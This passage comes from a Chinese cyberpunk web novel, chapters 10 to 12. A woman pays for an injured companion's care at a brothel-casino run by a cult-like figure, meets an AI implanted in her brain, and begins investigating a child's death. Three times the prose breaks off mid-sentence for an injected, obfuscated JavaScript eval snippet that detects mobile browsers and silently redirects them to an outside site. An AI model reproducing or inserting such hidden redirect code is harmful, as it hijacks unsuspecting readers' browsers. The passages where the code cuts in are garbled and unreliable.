姜屿进入了地下迷宫,机械管道臃肿得过分,她的身体时不时蹭到一旁缓缓滴水的管道上面。有些管道中的液体有腐蚀性,滴在防护服上“呲”的一声,像是火苗被浇灭。 老人的矮小身躯格外适合这里的狭窄和拥挤。 姜屿本想记路,但迷宫不负盛名,走得她头晕脑胀。智脑显示过去了四十分钟,三人终于到达了目的地。 “这就是了。” 老人服务到位,看得出从地上来的两人不太适应,贴心地从衣服内襟中取出了照明的工具。 夜明珠! 夜明珠在姜屿的注视下长出了八条腿,利索地爬到几人头顶,在勉强可以称作是天花板的倾斜石壁与管道的中间安家。 小小的角落瞬间被照亮。躺在床上的一团阴影更加明显,虽然姜屿很难将那块平整的土堆称为床。 顾白沉沉躺在床上,听到动静后防备地睁开眼,却在牵扯伤口的瞬间痛呼,伤口包扎得潦草,伤口处长了一层薄薄的血痂,由于动作幅度较大,伤口瞬间崩裂,衣服上浸出浅浅的血色。 没有感受到恶意,他又沉沉睡过去。他实在太累了,大脑已经无力警戒周围。他额头发红,烫得吓人。有些伤口因为重复的愈合撕裂成为了瘢痕。 姜屿不想管他,一看就是个吃钱大户。但稀薄的良心提醒她:这个人在畸变域中因为她的猜测不顾生死。 哎……姜屿叹了口气,为自己今后可能飙升的债务。她坐在顾白躺着的土堆上,“李三,帮我找个医生。我要治好他。” 李三像是踩到狗屎般往后一个大跳,“你知道这得浪费多少时间,花多少积分以及多少积分吗?” “我承担。” “这就好说了。”李三脸色一变,笑意吟吟地冲上前,“我正好知道有个医生,收费很便宜。” 10. 010 李三叫来的人,扛起顾白就走。地下封闭□□,空气不流通,不花大价钱医生不会来上门诊断,同样也不适合病人养病。 潮湿阴暗的空气如同树虫般不断腐蚀着人的气管与肺,每个在地下长久生活的人身体都会有点问题。 来的是个矮人,身体高度在姜屿腰间左右,地上他是矮人,在地下则是国王。矮人扛起顾白就走,动作敏捷,唰唰几下就不见了踪影。 李三搓着手:“不用担心,他会把顾白送到医生那里去,我们随后就去。” 姜屿用枪指了指对方走的路,“我们不是从这里过来的。”她们在老人的带领下走的是姜屿背后那条路。 “从那出去眼睛太多了,我担心会惹事,没有钱的事我可不干。”李三市侩地说,从那出去几乎可以路过整个洞窟,不说别的。光李三带出去个老鼠人就能引起一大片谣言了。 说着,他食指抵在嘴唇边,威胁地对领路的老人比了个噤声的手势。老人麻利地点头答应,带着两人原路返回。 离开小屋后久违地见到阳光,姜屿眼角控制不住地泛起点泪花,和他们做交易的老人则退回了屋子中的阴影。 和姜屿来时看到的眼睛一般,注视着他们离开。两边的眼睛像是画纸上撕下来的,位置和瞳孔没有一丝变化,依旧红血丝密闭,依旧冷冷的。 两人很快来到了李三口中医生诊所所在。人造太阳在下午六点准时关闭,一瞬间黑暗笼罩住花园城。 淡红色薄雾能见度不高,远处的漆亮色招牌在姜屿眼中模糊成大片炸开的模糊色块……粉红的、墨蓝的、耀紫的。 招牌上印着些意味不明的名字,完全看不出到底是什么店。旋转灯条在地上投射出五彩缤纷的走马灯,灯条上倚着个穿着清凉的人形物体装饰,头顶上两只硕大的螺旋盘羊角。 姜屿血都凉了。她难道是什么奇奇怪怪吸引畸变物的体质吗? 看到有人走进,人形物体懒散地打了个哈切,身上的衣服随着它的动作滑落,“三儿,你来了啊。” 人形畸变物? 李三熟悉地和盘羊角打了个招呼,看起来非常熟悉,“我让人带来的那个老鼠人呢?” “里面呢。”盘羊角啧啧两声,上下打量李三,“没看出你是个这么慈悲为怀的人啊。钱多得没地方花可以给我。”说着,他抛了个媚眼。 姜屿沉默,确定这不是畸变物后,才看到自己刚刚没注意到的细节,比如身着清凉,比如远处嘻嘻哈哈纠缠在一起的人影,比如带有某种暗示的招牌。 她恍然大悟,狞笑着将枪口抵在李三脑袋上,“好家伙,你带我来红灯区。”哪有人来红灯区治病的。 盘羊角看好戏地吹了个口哨,“这是哪来的大小姐啊?”他厮混多年,一双眼睛利得可以,当然看得出李三带来的人不同寻常。 李三眼神突变,却被他硬生生按捺下去,他举起双手做投降状:“姜屿,我冤枉啊!医生真的在这里。” 哦。盘羊角想起来了,母亲好像确实让李三带来个有趣的人。 他思绪腾飞之际,李三振振有词地解释:“你也知道,正经医生正经医院不会为老鼠人看病,我只能找不那么正经的医生了啊!” “但她经验丰富,我们这一片但凡身体有点问题都找她,虽然她没证但她真的很厉害,最重要的是便宜!” 盘羊角懒散地替李三解释:“我们是做正经生意的,一般不骗人,而且顾白已经进去了,你不得进去看看他。” 姜屿悔不当初,不应该让李三带走顾白的。她悄悄给玲设置了条一小时后定时发送的消息。 她心中叫苦不迭,总感觉自己稍微不慎一个脚滑就会坠落深渊。但面上却很端得住,手中稳稳地握着枪,“带路。” 一进门,全是暴露的躯体,人体、机械体、动物体。 注意到姜屿看他耳朵的视线,一个顶着猫猫耳朵的改造人凑了过来,“要来摸摸吗?很好摸的。” 姜屿身侧的手动了动,改造人毫不见外,贴心地跪下将自己的耳朵送到了姜屿的手边。身后一条毛绒绒的大尾巴,悠闲地左右晃动。 姜屿:…… 她是个正经人。 她一个大跳,枪口抵了抵看好戏的李三。 李三不满地嘟囔,“就知道威胁我。” 两人将猫形改造人撂在身后,李三语气带笑,“你要是刚刚摸了他,就会被带到床上去哦。不可惜吗?” 姜屿没理恶趣味的李三。 众人暴露在舞厅乱晃的灯光中,甩头发扭屁股,肆意地跳舞尖叫。姜屿很难相信有医生在这种地方。 李三在前面旋转跳跃,偶尔和那人亲亲面颊,偶尔拉过一人小跳一段双人舞。姜屿用枪口抵了抵李三背,叫醒忘乎所以的李三。 两人路过震耳欲聋的一楼舞厅,路过耳边尖叫连连的二楼包房,到了三楼。 三楼的环境很安静,分割成一个个小房间,顾白躺在其中一个房间,沉沉地睡着。房间里面布满姜屿看不懂作用的医疗器械。靠墙的柜子中放着各式各样的改造物,姜屿曾看到的盘羊角、毛绒手掌赫然在目。 天花板上,纳米摄像头跟随姜屿动作。几十个摄像头监控的场景投射在大屏幕上,一位女性饶有兴趣地打量姜屿的神态、姜屿的动作,她眼睛中闪开的光芒。 “真是意外,竟然有小肥羊流落到了第四区。”大屏幕前一个沙哑的声音哼笑,“真是恰如其会!” 顾白躺在房间中间的床上。谢天谢地,姜屿终于看到一个像样的床了。顾白整个人埋在被子中,睡得很安稳。 病床边一个女人穿着白大褂,脚上穿着个鲜黄色的塑料拖鞋,嚼着口香糖将账单递给了姜屿。 口香糖是姜屿自己起的名字。这东西叫情绪舒缓剂,由于花园城长期见不到阳光,大多数人会患有不同程度的焦躁症。情绪舒缓剂能释放一种欺骗大脑的假性元素,可以平复人的情绪。 姜屿颤抖着手接过了账单,原谅她视力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153918|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 5.2,刚刚因缘际会的一瞥,她似乎模糊地看到了账单总计金额。 八万八的信用积分。治病真贵啊!姜屿不由得再次感叹。 “后悔了?”医生挑眉,眼睛底下的黑眼圈越发深刻,以一种你休想逃单的语气阴森森地质问。 “后悔了。”姜屿说得真心实意,“要多打几份工了,可能睡不了觉了。积分可以分期还吗?” 医生扯出个皮笑肉不笑的笑,“我这里一次结清、概不赊账!” 姜屿盘算了下自己的存款,黑吃黑得来的差不多有两万积分。盘算着盘算着,姜屿发光的眼神盯上了李三。抠门的人应该很有钱吧。 李三不明所以打了个寒颤。 “说到工作,”李三打了个响指,“我这正好有个地方缺人,你要来吗?” “哪里缺人?” 李三指了指脚底,“就是这里,老板让我代她招人,”他像是想到什么,补充道,“在这里入职,你欠的治疗费用可以分期哦,而且可以提供安全保证,你住的那里也不太安全吧。” 李三表现得毫不在意,言语中透露出对姜屿住处的熟悉令人齿冷。她知道,这是赤裸裸的威胁。 “不用面试吗?” “不用。”李三挥斥方遒地一挥手,“老板让我全权负责。再说了,我俩都多熟了,我相信你。” 没等姜屿回复,医生就不在意地挥挥手,“行,有你们担保就行。十天内我要收到积分,回去睡觉了。”塑料拖鞋发出一扭一扭的响声。 太有缘了。天上掉馅饼的好事竟然让她遇到了,一点不掩饰敷衍的巧合。姜屿一点不信。对方恐怕另有所图,她权衡利弊后决定吃下这个可能带毒的馅饼。 她现在穷得叮当响,最需要的,就是自己身上有别人图谋的东西。有所图谋,她才能在这里好好活下去。 理智明白自己的选择是如今情况下的最好选择,但感情上止不住的战栗。这是一个残酷的世界,和前世完全不同。 一步踏错,姜屿可能会失去自己的身体,自己的大脑。如同前世站在考场前,姜屿握紧了唯一能带给自己安全感的手枪,手腕上不再是熟悉的手链,枪管冰冷的触感一下让她冷静下来。 她一定要好好地活下去。 李三手扶在发黄的生物仿木质栏杆上,站在二楼的廊道看着姜屿三两下躲开改造人的纠缠,消失在一楼门口。被蛇母看上,也不知道姜屿是倒霉还是幸运,他置身之外地感慨。 忽然,一只涂着黑色长美甲的手放在了栏杆上,苹果馥郁香气扑面而来。 李三深深地吸了口气,自然的清香的苹果香气,他还是来到蛇母身边才知道苹果原来是这个味道。 “你和姜屿相处得很不错?”黑莓的主人蛇母缓缓逼近,香气呛得人呼吸不过来。 他低下头,同样是仿木质的材料地板模糊地倒映七彩射灯的光芒。 “我一个从烂树根来的人,就算想和人家交朋友,人家也看不上我。” 11. 011 姜屿第二天成为了黑莓的收银。主要工作就是坐在崭新的收银台后隔着高密防弹玻璃收钱、收积分,呼叫警卫暴揍闹事的人,然后扔出去。 在黑莓做收银员的日子很平静。红眼的赌徒打不碎高密防弹玻璃,突脸的人只能隔着一道保护层疯狂咒骂里面收钱的姜屿。 一点没有想象中的混乱与威胁,悠闲时间还可以就着骰子转动的声音补觉,和她预想的完全不同。 姜屿非常满意,一份非常适合摸鱼睡觉的工作。 黑莓很大,地下四层,地上三层。 一楼是酒吧+舞厅的组合,在凌晨时分最是热闹,喧嚣的音响声冲破天际;二楼、三楼是包房,连带为客人准备的备用医疗室。 地下才是黑莓的大头,负一层是赌场。赌博果然是人类甩不掉的瘤子,不管在哪个时代。姜屿时不时能看见目眦尽裂的赌徒哀嚎着想要再赌一场,为此赌上自己的身体器官。 血本无归的赌徒转眼就被压去了地下第二层,一个大型的医疗院,可以移植器官、改造人体,是花园城除公立医院、财团私人医院外最出名的黑医院。地下第三层则是黑莓老板的办公室。黑莓所有人以能得到蛇母的接见为荣,能去蛇母的办公室为荣。 又一次从噩梦中醒来,姜屿一动,身体浑身酸痛。难道是趴在桌子上睡觉不舒服? 梦中耳边总有声音窸窸窣窣的,依稀能听到像是有人在说话,声音隔着毛玻璃似的,猫挠似的留下一鳞半爪。 她伸了个懒腰,腰背骨节不停咔咔响,百无聊赖地和客人没来的改造人聊天。 黑莓中的人对姜屿很好奇。大部分人选择观望,也有一部分人选择和姜屿对话。 和姜屿搭话的改造人叫景行,这是他来到黑莓后蛇母为他起的名字。 “母亲最好了。”姜屿第一次来黑莓时纠缠她的猫猫人像是猫妖一般,柔若无骨地瘫在收银台上。雪白的背部布满淤血和鞭痕。 注意到姜屿的视线,他抖了抖衣服:“昨天来了个粗暴的客人。”猫尾巴有气无力地在身后探头。 姜屿视线自然地移开,“为什么不去治疗?”蛇母对自己人的待遇很好,负二层的治疗舱可以以极低的价格随便使用。 “有些客人喜欢这样。”景行双眼满含期冀,“他们一般给钱挺多的。” 景行是个小话痨,姜屿工作的短短几天,他自来熟地靠过来并在不知不觉中将自己的底细全部暴露。 景行要攒钱,提高自己的社会等级。社会等级规定了一个人能做什么,不能做什么。他是被抛弃的孤儿,三年前花了一大笔积分,拥有了最低的社会等级,也就是五级,以及帝国承认的身份芯片。 原来这没什么用处的五级社会等级竟然这么贵,穷疯了的姜屿灵光一闪,“社会等级可以私人买卖吗?” “当然——”经过身体改造,景行的性格和行为逐渐向猫猫转化,他恶趣味地拉高音调,“不行啦!” 五级社会等级几乎什么都不能干。但景行想上学,学校他都选好了,是花园城的工程院校,出来以后他就可以找到工程师的实习,规划机械管道的铺设,设计优化机械齿轮,优化花园城的动力系统。 至少要在三级社会等级以上,才能上学。社会等级升级需要大量的积分,上学也需要大量的积分。他拼命地攒钱,伤疤什么的,一趟治疗舱下来就消失了;疼痛什么的,嚼嚼情绪舒缓剂麻醉一下神经就好了。 谈起上学后的生活,他混沌的眼睛中都会闪烁着飞艇大屏上他未曾涉及过的美丽图景,富裕而美丽的生活,悠闲而自得的人生。 信用积分才是最重要的。 姜屿无法反对,信用积分真的很重要。 外勤每月工资信用积分4000,收银员每月工资信用积分2000。她每月需要还贷5000积分,还有治疗顾白的账单。她和林姨可还要活着呢。姜屿叹了口气,钱不够花啊! 她多次骚扰甘棠,胸膛拍得哐哐响,希望给外勤人员,特指自己,增加工作负担。她扛得起!她迫不及待要为花园城的治安贡献自己的力量。 贫穷的姜屿书说说不出“积分不重要”,转而打听起蛇母。 景行说起蛇母时,脸上泛起混杂着崇拜敬仰的复杂感情,像是在信仰神。 “蛇母收留了我们。” 蛇母第一次出现在南城,就是那副穿着,黑色修女袍,大大的兜帽将她的容貌隐在阴影里。 黑色的淤泥和化学原料残渣沾在她的衣摆处。 “你们要和我走吗?” 她从平民窟出救出一个个濒死之人,为他们治病,和他们吃喝,教他们未来。 “我们愿意为母亲赴死。” 景行说得很详细,其中有不少艺术加工的成分。比如蛇母出现在他面前的那天,他看见了传说中的太阳,炙热的温度几乎要将他融化,什么蛇母衣摆是流转的星空与夜色。 说完,他眼睛亮亮地看向姜屿,希望姜屿做些什么,希望姜屿称赞蛇母,和他一起拜倒在蛇母的衣摆下。 姜屿对邪/教套路敬谢不敏。就蛇母暗戳戳地强迫她入职,她就知道这人目的不单纯,不是个好人,圣母般的人物可不会强迫别人。 姜屿勉强称赞:“蛇母是个好老板。” 景行眼睛黯淡下来,“你会发现母亲的伟大之处。在别人面前可不要这么敷衍,他们会生气的。”他好心叮嘱姜屿。 蛇母和自己的想象完全不同,姜屿从行事作风中勾勒出一个美艳冷酷的商人形象。 但第一次猝不及防地看见,莎拉一袭素白的袍子,像是苦修派的修女,如景行描述的那般。 她掀开头上的兜帽,一张未经苦难的脸庞面色红润,双眼蔚蓝色,如同纯净的天空。 唯独与众不同的,是身上浓烈到呛人的香水味道。眼中荡漾的不是虔诚信仰,而是浓重到凝成实质的欲望。 莎拉不年轻了,但是她却没有做任何试图留青春的手术,笑起来眼角会出现细纹:"姜屿,你在黑莓待得开心吗?" 姜屿脸上像是有一处吸引她的默剧上演,莎拉盯着她,黑瞳如同蛇瞳般缩紧,盯住自己眼前的猎物。 即使如此,她依旧太有亲和力了,像是领居家的阿姨,身上带着被太阳晒过的滋味。 姜屿不受控制地想要倾诉,将自己的烦恼,谋生的疲惫,穿越新世界的茫然一股脑说出口。 ……穿越?等等,穿越!?系统荧光的界面跃然跳跃出来,在姜屿眼前幽幽散发冷光。 姜屿一下子清醒过来。幸好反应得及时!她心下大惊,面上尽力维持刚刚迷茫的状态。 她絮絮叨叨地细算起自己每个月的必要花销,力求维持融洽的氛围,免得让蛇母更加关注自己。 蛇母像是没发现姜屿一瞬间的身体紧绷,全心投入和姜屿的对话,和着姜屿的焦虑焦虑,和着姜屿的疲惫疲惫。 “不要担心,我会保护你。”蛇母不顾姜屿暗暗的反抗,将人温柔地拥入怀中,轻轻地安慰着。 姜屿咬破舌尖,蔓延开来的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153919|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腥味勉强抑制住了突如其来的亲近感。她以执法队训练为由,推开蛇母的怀抱。 天杀的,蛇母蹙眉,她竟然觉得难过。难过什么,姜屿在心底狠狠扇了自己几个巴掌。 姜屿拖着沉重的身体,按捺下身体叫嚣着想要扑入蛇母的怀抱的冲动,冲进执法队训练场地。 甘棠看好姜屿,开了后门,让姜屿每天跟着执法队实习队员一起训练。练练身手,至少跑路的时候跑得过别人。 姜屿接受了,每天被包子脸的魔鬼教官软趴趴地撩翻在地上,名曰训练实则挨打。 被执法队教导自己的教官狠狠暴打了三小时,离开蛇母身边的焦虑终于消失。 她撑着膝盖,重重地喘粗气,身上像是被水洗了一遍。教官拍拍她:“不错,不是孬种。” 这是教官最高的称赞,娃娃脸,小骨架的教官在姜屿身边衬得她庞大腰圆。 轻轻一拍,姜屿差点瘫软在地上。连回应教官的力气都没有,休息了好久才心有余悸地回家。 蛇母真是个天生的邪教头子。姜屿心中感叹,在畸变域中濒死,意志纹丝不动;和蛇母谈话,系统的意志属性硬生生加了一点。 真是个可怕的女人。 * 耳边的声音越来越近。阻挡的毛玻璃轰然炸裂,声音在姜屿脑海中炸开。 【姜屿,你好。】 姜屿摸了摸自己的耳朵,生活压力太大都有幻听了。 【我是你母亲为你留下的智脑AI,在你异能觉醒后为你提供帮助、指引。】 话音未落,手腕上手表样式的智脑适时亮起。屏幕自动打开,投影出一个小小的女人样子。 初始的白色连衣裙,初始的面容和声音设计。对方抬起头,在姜屿的注视下微微一笑。 【我知道你有许多疑问的地方,请慢慢来,我会一一为你解答。】 智脑自姜屿穿越后一直戴在手腕上,正好姜屿也习惯了,也就没有改变过样式。 姜屿没理对方,拿下智脑,启动智脑强制关机。智脑页面纹丝未动,投影嘴角弧度童谣纹丝未变。 她停下询问林姨的脚步,将手表样式的智脑扔在一边。 【我本体是皮米芯片,在你小时候被移植到你的大脑中。以目前的科技发展,你只有在第二区皇室特别医疗院中才能取出我。】声音轻柔的、平稳的在姜屿大脑中回响。 姜屿咬了咬后槽牙,很快平静下来:“你说你是母亲为我留下的AI,为什么现在才出现?” 【我的存在是为了保护你。你之前没有遇到危险,所以我没有苏醒。】 姜屿脑海中闪过对方的话,“我没有异能。”她在执法队时测试过异能。 【伟大的异能需要漫长的生长,经过岁月的磨砺,它会大放光彩。】投影如同在舞台上表演,夸张地吟唱,【而我会引导你,陪伴你成长。】 “这是你的逻辑模式,还是你自己的思想语言?” 【这需要你自行判断。】 姜屿不为所动,她今天遇到两个奇怪的生命体,两个人都有很高的搞传销天赋。 随着视线的变化,系统屏幕在眼前出现。姜屿试探性地转动视角,心跳不受控制地加快。投影依旧胜券在握,看到她转过头来,拎起裙子庄重地点头致意。视线在她狂跳的心脏处若有所思。 只有她一个人能看到系统,姜屿松了口气,而后妥协地坐在椅子上,像是束手就擒的囚徒:“我该怎么称呼你?” 【请叫我欧若拉。】 12. 012 “滴滴——” 执法队外勤的特殊通讯工具响了。搬砖样式的大铁盒子掐着嗓子尖叫加震动。姜屿整个背都麻了。 看了眼时间,6:17,还有十三分钟下班。 姜屿从背包中拿出大铁盒子,执法队的任务来了。无视眼前的赌徒,赌徒嘴里嚷嚷,瞪大双眼、脸颊贴在玻璃上,像条窒息的金鱼,癫狂地想要用身上机械手臂换筹码。 伸了个懒腰,如今时间早上6点30,正好可以去执法队接任务。 人造太阳6点准时开启,白光照亮花园城上方笼罩的雾气。 今天天气晴朗,少雾,可以依稀看清挂在天边、24小时运转的巨大齿轮。不知喝醉的酒鬼躺在路边神志不清,姜屿吸了口发粘的沉重空气,不知不觉已经习惯了这样的空气和日出。 执法队依旧很忙碌,姜屿走进门口时,几个黑眼圈沉重的人神志近乎离家出走般飘过她。 姜屿找到甘棠的办公室,“队长,有什么任务分配给我?” 甘棠皱眉翻阅泥沼城传递来的档案。最近几个执法队忙得不得了,有一份畸变源从荒土送了进来,畸变源等级在C级左右,几乎可以毁掉一座花园城。 泥沼城传来的档案显示,带着畸变源的那伙人消失了,据最后的线索指向,他们要来花园城。她沉浸在自己思维中,没有注意到门口来人。 姜屿的声音和执法队AI的声音同步响起,甘棠抬头,揉了揉发痛的太阳穴,冲着姜屿点点头,“你来了。” 姜屿重复了一遍自己的问题。 “任务?”甘棠疑惑,稍稍思索后想到了些什么。 玲是个很可爱的孩子,姜屿和她同患难,她将姜屿认成了半个同伴。知道自己新认的朋友缺钱,磨了甘棠好久,为姜屿挑了个调查任务,不危险有钱拿。 等她处理完手头的工作,她再研究姜屿身上的不同——能看见所谓黑雾的事情。这件事被她压下,并没有在公交车案件执行报告中提及。 甘棠非常确认,如果这件事被提及,姜屿的下场和那颗畸变源‘血肉心脏’一样,被放在实验台上反复操作,直到她特殊的能力被复制出来。 “就是这个。”甘棠从资料库中调出一个崭新的档案,将它传到了姜屿的智脑,“你会和其他新入职的外勤一起去调查。” 档案中描述北城区一户人家的孩子在治疗舱中不治而亡。死后光学扫描身体时发现,他全身上下所有器官如同经久失修的机械般布满暗红色的铁锈。 医护AI数据库中不存在同样病例,医生自行判断其为铁肺病的变种,正在同AI完善其发病机制、病变阶段。 档案中的事实就差盖棺论定了。按理来说,执法队不会对这种已成既定事实的事件进行调查。这是对社会治安蜀其他部门的越权,尤其是负责花园城不涉及畸变的意外的治安队。 电视剧里演的主角大包大揽,跨越几个部门权限行事,还得到其他部门全力配合的状况在现实中绝无可能发生,除了推卸责任之外。 毕竟,权力就是资源、就是金钱。 甘棠是个谨慎的人,绝无可能做这种事。虽说执法队由于特殊性,理论上比治安书其他部门高半级,但是不想配合有不想配合的方法。 甘棠关系处理得不错,和各个部门关系不错。因此,在档案中没有明显畸变的情况下她绝对不会越权行事。 甘棠无奈摇头,示意姜屿继续看。 往后看是直系亲属的访问记录,刻板的笔录并不能阻挡父母语气中的不甘心,他们对自己孩子再三用心,吃穿住行样样精致,孩子怎么会得了那些老混混、流浪汉才会得的铁肺病。 他们的孩子从来没有去过北城区以外的地方。难道北城区上方笼罩的巨大净化罩是豆腐渣工程吗? 他们不相信,他们不接受。 能住在北城区的人铁了心,治安队还真拿他们没办法。北城区住的人都是花园城中有钱或有权的人,和花园城高层有着良好关系。 他们的愤怒不能用推脱和暴力平息,治安队头疼了许久,顺水推舟将档案移交给了执法队。 执法队长官将案子交给了甘棠,这是个笼络花园城上层的好机会。但事情不赶巧,正好和C级畸变源撞在了一起。 甘棠权衡再三,将前期调查工作交给姜屿,自己则带着执法队精英追踪那伙带着C级畸变源非法入境的荒土来客。 “调查?”姜屿挑挑眉,写作调查,读作安抚。 “调查。”怎么一个从上面下来的人会这么老油条,甘棠心中疑惑,但幸好,她知道这种老油条如何对付,“这次任务信用积分4000,调查过程中所有花费我报销。” 姜屿智脑传来转账的声音,甘棠通过私人账户给她转了6000积分,她无声地说了句,“报销。” 姜屿无声地锤了锤胸口,什么都没有说,突出一个忠诚。 她在外勤入职的房间,遇到了自己这次任务的同事。两人,一男一女。两人在老头的叨叨下有些躁动,女人时不时地摸摸自己的耳朵,老头没好气地翻白眼,好心没好报。 他好心给这两个新人讲保命法子,这两人魂游天外,前两天来的姜屿都比他俩听话。 说曹操曹操到,姜屿的身影一出现在门外。房间中三人精神一振,齐刷刷地看向她,看得人鸡皮疙瘩掉了一地。 难道是因为老头讲话太平铺直叙,很有催眠曲的感觉,这两人顶不住了?姜屿试探着迈进一步,老头动作快她一步,飞快地给两人挂上外勤装备,推搡两人出门。 “你们三个就是一起执行此次任务的同伴!快走快走!”说着,把任务档案传给他们后将门一关,摆明不待见三人,隐约话语消失在门口,“也不知道为什么,最近外勤真是越来越多了……” 姜屿三人在门口面面相觑,两人认真地注视着姜屿,一言不发。如果不是在镜子里确认过自己是普通人的长相,姜屿都以为这两人对自己一见钟情了。 她试探着开口,“你们好,我是姜屿。请问两人贵姓?” 女人名为胡玖,男人名为胡功。 姜屿迅速和胡玖攀谈起来,两人是兄妹,从小相依为命长大,但苦于社会等级太低没法找正经的工作,但家里又有老人离不开治疗舱,幸好他们能打,才成为了执法队的外勤。听得姜屿共情极了,这不都是穷闹得。 相似的经历令两人飞快熟悉起来。一旁哥哥胡功不善言谈,唯有在姜屿撇过去看他时,他才会不耐地皱眉。 注意到姜屿频频视线,妹妹胡玖挡住了姜屿视线,笑意吟吟地为姜屿找补,“我哥他不喜欢被注视。” 姜屿点点头,会意地收回视线,和胡玖确定她们下一步的动作。 真是坑啊! 哥哥胡功行走时动作利落简洁,奇异地有些眼熟,看了好久姜屿发现,这是军团训练出来的痕迹。 无所谓,反正她只是和二人共同完成一个任务罢了,姜屿态度不自觉地冷淡下来,兄妹俩有什么秘密,姜屿都没心情探寻。 老头传来的档案比甘棠给的档案简洁许多,甘棠的资料明显是给自己人的。 二人讨论片刻后准备先去医院看看小孩的尸体,小孩的尸体被安置在生命基因研究会控股的私人医院中,医院坐落在城北郊区。 一踏入北城区,眼前景象截然不同。路面宽敞整齐,路边的花坛中摆放着用机械零件拼凑出来的花朵,玫瑰、海棠、牡丹,不同时节的花朵齐齐盛开,灰扑扑的花园城难得有如此亮色。 姜屿看过真花,对假花没有什么反应;胡玖兄妹二人反应同样平平,视线匆匆掠过路边的装饰花朵后和姜屿讨论任务细节。 地图显示,她们所在位置距离医院有整整二十公里。走路过去也行,但现在不是有人报销吗?姜屿豪气挥手,“我们坐出租车去。” 智脑招呼来的出租车不到两分钟就停在了三人面前。北城区的出租车和姜屿混迹的南城不同,线条优美、内里干净整洁,不会有不知名呕吐物的残留,车座上更不会有无法分辨的污渍。 一上车,比车更先启动的是车上的屏幕,三人前方分别从车厢天花板下伸出屏幕,屏幕上是整洁的医院房间与靓丽的医护人员。 “请问是否花费30积分跳过以下120s乘车广告?”这和南城的出租车没有区别了。姜屿没经验,选择跳过第一个。 没跳了后面两个广告,因为太贵了,谁能想到跳过广告的花费是用第一个广告的平方、立方算的! 待出租车二十分钟到达医院,她们继续坐在出租车上看完了其余两个广告,一个用时5分钟,一个用时十五分钟。 出租车有强制上锁功能,不看完广告车门无法解锁。最重要的是,车上的感应系统会时刻监控眼动,时不时跳出测试题测试广告细节。回答错误,广告重新播放。 姜屿窝窝囊囊地看完广告,态度认真地媲美高考。 幸好三人足够有耐心,只用了三十五分钟看完了广告。二十分钟的广告看了三十五分钟的广告,姜屿从没体验过,现在她有了。 除此之外,出租车收费150积分。一趟出行,姜屿花了180积分。天杀的,她一天工资都没这么多,幸好有人报销,姜屿肉疼地想。 她们事先联系过医院,医院派了个圆滚滚的机器人来接三人。医院中的机器人大多为不含棱角的、圆滚滚地,以期来医院的人体会到的不是冰冷,而是如同回家了的感觉。 圆滚滚机器人在地上滑过来,显示屏上映出两个圆滚滚的大眼睛,像是动漫里的人物一般。“你们好,这里是机器人大圆,你们要查看的尸体放置于医院三层331房间,大圆将引导你们去往三楼,请问你们明白了吗?” 三人点点头后,大圆的声音和缓下来:“医院中有许多生命基因研究会专利的医疗设备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153920|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,请不要乱看乱摸。医院保证病人的隐私,请不要在未经允许的情况下肆意踏入病房……”大圆絮絮叨叨说了十多条注意事项,并让三人签订了一份协议,“生命基因研究会对以上条款拥有不限期的追诉权!” 概括来说,就是不该看的别看,不该摸的别摸,不该问的别问。 331的人道主义关怀做得很棒,躺在其中的孩子面色红润,身体柔软,像是睡着了一般。正有白大褂拿着精密的仪器在小孩一侧操作着些什么。她们进去时,白大褂正在做收尾工作。 胡功视线在病房中转了一圈,选择了一个进可攻、退可守的地方——窗台边。姜屿看向大圆,大圆并没有向他们解释白大褂在做什么。 反倒是一旁的胡玖,注意到姜屿神色不解,凑近到她耳边解释:“这是基因提取的仪器。可能是无法忍受丧子之痛,陈宪松父母准备用他的基因再培育一个小孩。” 姜屿听到自己惊异的声音,“克隆人?” 胡玖理所当然地点头,语气略带感慨:“看来他的父母真的很喜欢他。”这语气,像是在说一个阿猫阿狗。 姜屿沉默,花园城总能在拐角处给她一个大惊吓。她的观念在如今赫然成了老古董。 因为喜欢孩子,培养一个克隆体重新养育,将自己对孩子的爱重新倾注在克隆体上,孩子会愿意吗? 愿不愿意的,基因培育1200000积分。有钱是真的。 待白大褂拎着仪器离开后,三人才有机会凑上去近距离观察去世的小孩。小孩十二岁,名叫陈宪松。档案中品学兼优、待人随和。 姜屿在大圆处得到了陈宪松的诊断记录,过往无病史,被送到医院时已经时日无多。就参加抢救的人员描述,临死前几小时,陈宪松呼吸急促,脸色涨红,有窒息现象。 和铁肺病的发病症状非常相似。 